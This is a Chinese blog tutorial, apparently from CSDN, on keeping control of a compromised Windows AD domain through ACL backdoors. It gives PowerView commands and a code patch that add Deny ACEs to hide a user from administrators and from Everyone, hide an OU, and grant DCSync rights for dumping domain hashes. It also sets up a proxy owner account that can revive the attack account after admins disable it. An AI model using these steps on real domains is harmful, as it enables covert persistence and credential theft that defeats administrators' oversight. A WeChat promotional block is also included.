• 如何在Windows AD域中驻留ACL后门


    前言

    当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。

    ACL介绍

    ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。

    安全描述符包含与安全对象关联的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息::

    • 对象所有者和主组的安全标识符 (SID) 。
    • 指定允许或拒绝特定用户或组的访问权限的 DACL
    • 一个 SACL ,指定为对象生成审核记录的访问尝试的类型。
    • 一组控制位,用于限定安全描述符或其单个成员的含义。

    隐藏安全描述符

    当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组:

    3a2d9490-6b84-48d6-a1f9-e02ad933161b

    可以在GUI上对所有者进行修改,也可以使用powerview进行修改:

    Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo
    
    • 1

    修改完成后:

    a7f0c51c-abca-4b0b-b288-2218e633e8da

    因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo用户Deny所有权限的ACL,但是发现powerviewAdd-DomainObjectAcl方法并没有设置Deny权限的操作,只有Allow

    image-20221203165731119

    当然,你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加,他的原理如下图:

    image-20221203165922392

    上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges,直接把Allow默认可变的参数不就行了?首先手动在Add-DomainObjectAcl添加一个AccessControlType参数:

    .PARAMETER AccessControlType
    
    Specifies the type of ACE (allow or deny)
    
    • 1
    • 2
    • 3

    image-20221203170302148

    设置参数定义:

    [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
    [ValidateSet('Allow', 'Deny')]
    [String[]]
    $AccessControlType,
    
    • 1
    • 2
    • 3
    • 4

    image-20221203170313999

    删除之前的默认的Allow

    image-20221203170641601

    最后把AccessControlType参数替换之前的ControlType

    image-20221203170738348

    现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。

    【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
    ① 网安学习成长路径思维导图
    ② 60+网安经典常用工具包
    ③ 100+SRC漏洞分析报告
    ④ 150+网安攻防实战技术电子书
    ⑤ 最权威CISSP 认证考试指南+题库
    ⑥ 超1800页CTF实战技巧手册
    ⑦ 最新网安大厂面试题合集(含答案)
    ⑧ APP客户端安全检测指南(安卓+IOS)

    当尝试域管添加一个对jumbo用户Deny所有权限的ACL后:

    Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny
    
    • 1

    871e59ae-a6bb-4e4a-83c9-bd01800bba33

    当然,把SID改成SamAccountName也是可以的:

    Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny
    
    • 1

    可以发现域管也没权限查看jumbo用户的属性了:

    WKtY1zjGss

    J3Qsrfsyl0

    当使用system用户查看jumbo用户ACL时,可以看到对应的Deny的ACL:

    cccac477-019c-4600-8678-124461d8fb96

    现在域管对jumbo用户已经无法操作任何东西了,先用system用户删除该Deny权限,准备使用powerviewRemove-DomainObjectAcl方法时,发现也只有的Allow,也就是默认只能移除对象的Allow权限,老方法,把删除的ACL属性设置为可变参数:

    image-20221203171520243

    image-20221203171530075

    image-20221203171559987

    image-20221203171546945

    进行删除:

    Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny
    
    • 1

    当然,把SID改成SamAccountName也是可以的:

    Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny
    
    • 1

    67ee14b5-46a7-44a7-81ea-57eaed22c0b5

    那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo用户的拥有者改成默认的域管组,然后对域管进行设置Deny的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo拥有者设置为jumbo的目的:

    image-20221203172330615

    上面尝试了拒绝域管对jumbo所有的权限,那为了隐藏,并且为了防止后续还要对jumbo用户的一些其他修改,实际上可以对jumbo用户设置everyone拒绝读取的权限即可:

    8f23c0b4-e7e9-4f55-9c30-8abbc2a86f09

    现在所有用户对其都没有查看权限了:

    WKtY1zjGss

    当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的:

    image-20221203173141621

    现在通过net user命令已经看不到jumbo这个用户了:

    image-20221203173434064

    在“用户和计算机”里看用户长这样:

    image-20221203173508632

    从上面的操作可以发现,给everyone用户添加拒绝读取权限时是通过GUI实现的,因为everyone用户是个特殊的用户,属于特殊身份群体,是一个属于Well-known SIDs的用户,其对应的SID为S-1-1-0

    image-20221203194510264

    当尝试使用powerviewAdd-DomainObjectAcl方法是无法完成给everyone用户添加ACL的:

    07fc0328-3a8b-46b7-b245-b0449ef29533

    通过查看powerview的代码,会通过Get-ObjectAcl方法获取对应用户的SID,但是刚刚提到,everyone用户是个特殊的用户,导致查不到:

    image-20221203194829686

    但是看了下还有个New-ADObjectAccessControlEntry方法,会判断输入的PrincipalIdentity参数是不是SID,如果是SID就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl方法中:

            if ($PrincipalIdentity -notmatch '^S-1-.*') {
                $PrincipalSearcherArguments = @{
                    'Identity' = $PrincipalIdentity
                    'Properties' = 'distinguishedname,objectsid'
                }
                if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
                if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
                if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
                if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
                if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
                if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
                if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
                $Principal = Get-DomainObject @PrincipalSearcherArguments
                if (-not $Principal) {
                    throw "Unable to resolve principal: $PrincipalIdentity"
                }
                elseif($Principal.Count -gt 1) {
                    throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
                }
                $ObjectSid = $Principal.objectsid
                Write-Host ($ObjectSid)
            }
            else {
                Write-Host "..sid.."
                $ObjectSid = $PrincipalIdentity
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
                    $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
    
    
    • 1
    • 2

    现在尝试下,给jumbo2用户添加everyone所有拒绝的ACL:

    Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
    
    • 1

    image-20221203223418355

    image-20221203223515329

    Remove-DomainObjectAcl方法同理。

    隐藏主体

    通过上面的步骤,除了jumbo用户本身可以查看jumbo用户以为,其他用户都没有ReadControl权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo用户移到一个单独的OU组里:

    image-20221203174836127

    然后给这个OU设置everyone拒绝读取权限即可:

    image-20221203174920757

    image-20221203174956407

    遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。

    Dcsync

    Dcsync实际上就是给用户设置两条扩展权限,分别为:

    DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
    DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
    
    • 1
    • 2

    当用户拥有这两条ACL后,即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可:

    image-20221203180529979

    代理账号

    上面提到,把jumbo用户拥有者改成自身,然后设置everyone对其没有读取权限,这样就可以达到隐藏jumbo,然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。

    首先攻击账号为attack,代理账号为good,首先设置attack账号所有者为good

    Set-DomainObjectOwner -identity attack -OwnerIdentity good
    
    • 1

    image-20221203225649767

    attack账号添加dcsync权限:

    Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow
    
    • 1

    image-20221203230454614

    设置attack都不可操作:

    Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
    
    • 1

    这个时候,如果attack在发起攻击的时候被管理员发现了,把attack账号密码重置了,但是good账号是attack账号的拥有者,可以修改attack账号的ACL,比如给自己添加修改密码的权限,然后去重置attack账号的密码,然后就又可以拿来攻击了。

    总结

    本文主要讲了在Windows域中如何利用ACL进行后门隐藏,并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny,也可以选择everyone此类特殊用户。

  • 相关阅读:
    零基础学Python--机器学习(一):人工智能与机器学习概述
    COCO数据集(Common Objects in COntext)
    【实用工具】frp实现内网穿透
    vue的学习
    China SAFe Day 2022中国规模化敏捷大会圆满落幕!
    LeViT:Facebook提出推理优化的混合ViT主干网络 | ICCV 2021
    NLP(4)--BERT
    LeetCode二叉树系列——145.二叉树的后序遍历
    SpringBoot+Mybaits搭建通用管理系统实例六:登录健权框架实现下
    我对React原理的理解
  • 原文地址:https://blog.csdn.net/qq_38154820/article/details/128214473